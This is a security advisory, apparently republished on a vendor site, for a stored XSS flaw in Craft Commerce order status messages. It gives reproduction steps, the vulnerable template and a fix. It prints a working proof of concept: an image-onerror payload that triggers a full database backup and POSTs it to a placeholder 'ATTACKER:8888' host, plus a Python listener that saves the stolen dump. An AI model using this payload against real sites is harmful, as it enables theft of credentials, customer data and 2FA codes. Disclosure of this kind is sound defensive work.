GHSA-8478-rmjg-mjj5
Craft Commerce has Stored XSS via Order Status Message with potential database exfiltration
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
craftcms/commerce🐘craftcms/commerceReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the |md filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes.
Users are recommended to update to the patched 5.5.2 release to mitigate the issue.
Proof of Concept
Required Permissions
- General
- Access the control panel
- Access Craft Commerce
- Access to the database backup utility
- Craft Commerce
- Manage orders
- Edit orders
Attacker Server Setup
To reproduce this attack, you need a server to receive the exfiltrated database.
- Save the Python script as
receiver.pyon your attacker machine. - Run it:
python3 receiver.py-- Change the port if needed.
#!/usr/bin/env python3
"""
Usage: python3 receiver.py
"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import cgi, os
from datetime import datetime
class Handler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST')
self.end_headers()
def do_POST(self):
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
content_type = self.headers.get('Content-Type', '')
if 'multipart/form-data' in content_type:
form = cgi.FieldStorage(
fp=self.rfile, headers=self.headers,
environ={'REQUEST_METHOD': 'POST', 'CONTENT_TYPE': content_type}
)
if 'db' in form:
filename = f"exfil_{datetime.now().strftime('%Y%m%d_%H%M%S')}.sql.zip"
with open(filename, 'wb') as f:
f.write(form['db'].file.read())
print(f"[+] DB saved: {filename} ({os.path.getsize(filename):,} bytes)")
self.wfile.write(b"OK")
if __name__ == '__main__':
print("[*] Listening on http://0.0.0.0:8888") # change the port if needed
HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()
</details>
Steps to Reproduce
- Log in to the admin panel
- Navigate to Commerce → Orders
- Create a new order, enter a customer email, and mark the order as completed. The Order should be saved now; if not, save it.
- Edit the order
- Change the order status, a new text field (Status Message) will appear once the status is changed
- Make sure you have multiple order statuses; if not, create one from (/admin/commerce/settings/orderstatuses)
- In the Status Message field, enter the XSS payload below
- Save/Update the order
- Log out & log in again with an admin account
- Visit the order page (/admin/commerce/orders/{Order_ID})
- XSS executes → Full database backup is triggered and exfiltrated
- Go back to the attacker’s server and notice a zipped file containing the full exfiltrated database.
XSS Payload (DB Exfiltration)
Note: Replace ATTACKER:8888 with your listener server.
<img src=x onerror="fetch('/index.php?p=admin/actions/utilities/db-backup-perform-action',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=utilities/db-backup-perform-action&CRAFT_CSRF_TOKEN='+Craft.csrfTokenValue+'&downloadBackup=1'}).then(r=>r.blob()).then(b=>{let f=new FormData;f.append('db',b,'backup.sql');fetch('http://ATTACKER:8888/',{method:'POST',body:f})})">
Technical Details (Vulnerable Code)
File: vendor/craftcms/commerce/src/templates/orders/_history.twig
Sink: {{ orderHistory.message | md }}
Root Cause: The |md Twig filter (Markdown) processes the message but does not sanitize HTML tags.
Impact
The exfiltrated database backup includes, but is not limited to:
- Usernames, emails, and password hashes.
- Customer PII: Names, addresses, and complete order history.
- Transaction records, customer profiles, and coupon codes.
- GraphQL tokens.
- 2FA recovery codes.
- Potentially, payment gateway secrets (if stored directly instead of using environment variables).
Note: This XSS can also be leveraged for the same attacks described in previous reports, including privilege escalation and forced password changes.
Mitigation
Sanitize the message before rendering:
{{ orderHistory.message | md | purify }}
Or escape HTML before Markdown processing:
{{ orderHistory.message | e | md }}
Additionally, requiring an elevated session for the DB Backup utility would increase the difficulty of exploitation, although it would not prevent the attack, as it might occur while an active elevated session is in place.
Resources:
https://github.com/craftcms/commerce/commit/4665a47c0961aee311a42af2ff94a7c470f0ad8c
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | craftcms/commerce | ≥ 5.0.0&&< 5.5.2 | 5.5.2 |
| 🐘Packagist | craftcms/commerce | ≥ 4.0.0-RC1&&< 4.10.1 | 4.10.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/commerce. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update craftcms/commerce to 5.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8478-rmjg-mjj5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8478-rmjg-mjj5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8478-rmjg-mjj5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8478-rmjg-mjj5 in your dependencies?
O3 detects GHSA-8478-rmjg-mjj5 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.